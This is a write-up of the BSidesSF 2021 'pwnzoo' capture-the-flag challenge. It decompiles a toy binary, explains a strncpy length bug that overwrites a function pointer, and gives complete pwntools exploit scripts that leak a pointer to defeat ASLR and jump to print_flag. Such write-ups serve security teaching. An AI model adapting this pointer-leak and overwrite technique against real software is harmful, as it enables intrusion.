BSidesSF 2021 Pwnzoo

Pwnzoo overview

The pwnzoo binary is a unstripped 64bit ELF file.

> file pwnzoo
pwnzoo: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=031d178cb75ab5e94d9bba6da546a1a3d3f973b6, for GNU/Linux 3.2.0, with debug_info, not stripped

At first you have to decide if you want to play as a cat or dog and provide a name for the animal. Then a menu is presented where you can were you can speak, change the animals name are exit.

> ./pwnzoo
Pwn Zoo!

Play as cat or dog? cat
New name: powerpuffpwn
Name changed!

Menu:
1. Speak
2. Change name
3. Exit
1
Meow! My name is powerpuffpwn!

Menu:
1. Speak
2. Change name
3. Exit
2
New name: new-name
Name changed!

Menu:
1. Speak
2. Change name
3. Exit
1
Meow! My name is new-name!

Menu:
1. Speak
2. Change name
3. Exit
3

Analyzing the binary

I used BinaryNinja to analyze the binary. The following snippet shows the main function in High Level IL, which is close to C source code. First the animal object gets constructed within construct_animal. The pointer that gets returned by this function is then passed to change_name and later to the menu.

Main function

The “construct_animal” function first allocates 48 (0x30) bytes of memory, which is directly “zeroed” out. Then, a part of the allocated memory is filled with “0x20”, followed by a null byte.

0000131b  int32_t* rax = malloc(bytes: 0x30)
00001332  if (rax == 0)
00001324  {
00001332      puts(str: "Could not allocate!")
0000133c      exit(status: 1)
0000133c      noreturn
0000133c  }
00001352  memset(rax, 0, 0x30)
0000136c  memset(rax + 4, 0x20, 0x24)
00001375  *(rax + 0x27) = 0
00001385  int32_t* rax_11

We then are asked if we want to play as a cat or a dog. Depending on the provided answer, the binary sets the the first four bytes to 1 (cat) or 0 (dog). It also writes the function pointer of a “print_” function into the allocated memory. This pointer will later be called if we select the “Speak” entry invthe main menu.

00001385  while (true)
00001385  {
00001385      printf(format: "Play as cat or dog? ")
0000138f      read_stdin_tmpbuf()
0000139b      int32_t rax_8 = sx.d(*tmpbuf)
0000139e      if (rax_8 != 0x64)
0000139e      {
000013a3          if (rax_8 s> 0x64)
000013a3          {
000013a6              continue
000013a6          }
000013a8          else
000013a8          {
000013a8              if (rax_8 != 0x63 && rax_8 s> 0x63)
000013ad              {
000013b0                  continue
000013b0              }
                      // Play as cat
000013df              if (rax_8 == 0x63 || rax_8 == 0x43)
000013b2              {
000013df                  *rax = 1
000013f0                  *(rax + 0x28) = speak_cat
000013f4                  rax_11 = rax
000013f4                  break
000013f4              }
000013a8              if (rax_8 != 0x63 && rax_8 s<= 0x63 && rax_8 != 0x43 && rax_8 != 0x44)
000013b7              {
000013ba                  continue
000013ba              }
000013a8          }
000013a8      }
              // Play as dog
000013c0      *rax = 0
000013d1      *(rax + 0x28) = speak_dog
000013d5      rax_11 = rax
000013d9      break
000013d9  }
000013f9  return rax_11

So, the animal “object” has the following memory layout:

animal memory layout

You can have a look into an actual object by setting a breakpoint at the end of construct_animal and hexdump the pointer in RAX:

pwndbg> break *contruct_animal+230
pwndbg> r
...
pwndbg> hexdump $rax
+0000 0x5555555592a0  01 00 00 00  20 20 20 20  20 20 20 20  20 20 20 20  │....│....│....│....│
+0010 0x5555555592b0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │....│....│....│....│
+0020 0x5555555592c0  20 20 20 20  20 20 20 00  10 52 55 55  55 55 00 00  │....│....│.RUU│UU..│
+0030 0x5555555592d0  00 00 00 00  00 00 00 00  11 04 00 00  00 00 00 00  │....│....│....│....│

If you have a look on the binary functions, you will notice that there is a “print_flag” function. So we don’t need to inject shellcode, just successfully redirect the control flow to this function.

change_name function

The change_name function receives the animal “object as parameter and sets the name within the object. Here the code (as BinaryNinjas HLIL):

00001412  printf(format: "New name: ")
0000141c  read_stdin_tmpbuf()
0000143b  *(strcspn(tmpbuf, data_20a8) + tmpbuf) = 0
00001446  uint64_t rax_3 = zx.q(*tmpbuf)
00001449  if (rax_3.b != 0)
00001449  {
00001473      strncpy(arg1 + 4, tmpbuf, strlen(arg1 + 4) + 1)
0000147f      rax_3 = puts(str: "Name changed!")
00001478  }
00001488  return rax_3

The “read_stdin_tmpbuf (not shown here) function uses fgets to read up to 128 bytes into tmpbuf variable. The change_name function then uses “strcspn” to identify the newline within that tmpbuf and uses this information to terminate the string by placing a \x00 byte at this localtion. Then, the string from tmpbuf gets copied into the “name” location of the animal object.

If you look closely you can also identify the vulnerability: The length of the strncpy function is provided by strlen+1. This works fine for normal names. However, if we provide a name with 36 characters, we can overwrite the \x00 byte that was added by construct_anmimal. If we change the name a second time, we can also overwrite the pointer to the print_ function with a value that we control.

Writing the exploit

Here the initial version of the exploit, which basically overwrites the pointers with eight “\x41” (A)s. The general idea is:

  1. On initializatzion, provide a 36 character long name, which will overwrite the “\x00” byte from animal_construct
  2. Change the name with a 44 character long name. This will overwrite the function pointer with our value
  3. Invoke the speak function from the menu. This will call the overwritten pointer.
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./pwnzoo')
context.terminal = ['tmux', 'splitw', '-h']


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)


gdbscript = '''
tbreak main
tbreak construct_animal
continue
'''.format(**locals())

#io = remote('pwnzoo-7fb58ad8.challenges.bsidessf.net', 1234)
io = start()
io.recvuntil(b'dog?')
io.sendline(b'c')
io.recvuntil(b'New name: ')
io.sendline(cyclic(36))
io.recvuntil(b'Exit\n')
io.sendline(b'2')
io.sendline(cyclic(36) + "\x41\x41\x41\x41\x41\x41\x41\x41")
io.recvuntil(b'Exit\n')
io.sendline(b'1')
io.interactive()

We still have to deal with ASLR: The address of the print_flag function gets randomized on every start, therefore we can’t just overwrite the pointer with a fixed value. At first I thought it is sufficient to overwrite just one byte of the pointer, but that did not work, due to the added “\x00” bytes.

So wee need to modify the exploit workflow a bit:

  1. On initializatzion, provide a 36 character long name, which will overwrite the “\x00” byte from animal_construct
  2. Invoke the speak function form the menu. This will leak the current pointer value within the returned name
  3. Use the leaked pointer value to calculate the print_flag address
  4. Change the name of the animal, providing a 44 character long name (36 random characters + 8 bytes from the calulcated pointer)
  5. Invoke the speak function from the menu to call the overwritten pointer.

Here is the final exploit

from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./pwnzoo')
context.terminal = ['tmux', 'splitw', '-h']


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)


gdbscript = '''
tbreak main
tbreak construct_animal
continue
'''.format(**locals())

#io = remote('pwnzoo-7fb58ad8.challenges.bsidessf.net', 1234)
io = start()
io.recvuntil(b'dog?')
io.sendline(b'c')
io.recvuntil(b'New name: ')
io.sendline(cyclic(36))
io.recvuntil(b'Exit\n')
io.sendline(b'1')
leak = (int.from_bytes(io.recv().split()[4][36:-1], byteorder='little') & ~0xff)
log.info('Leaked address is' + str((hex(leak))))
io.sendline(b'2')
io.sendline(cyclic(36)+ p64(leak+0x3b))
io.recvuntil(b'Exit\n')
io.sendline(b'1')
io.interactive()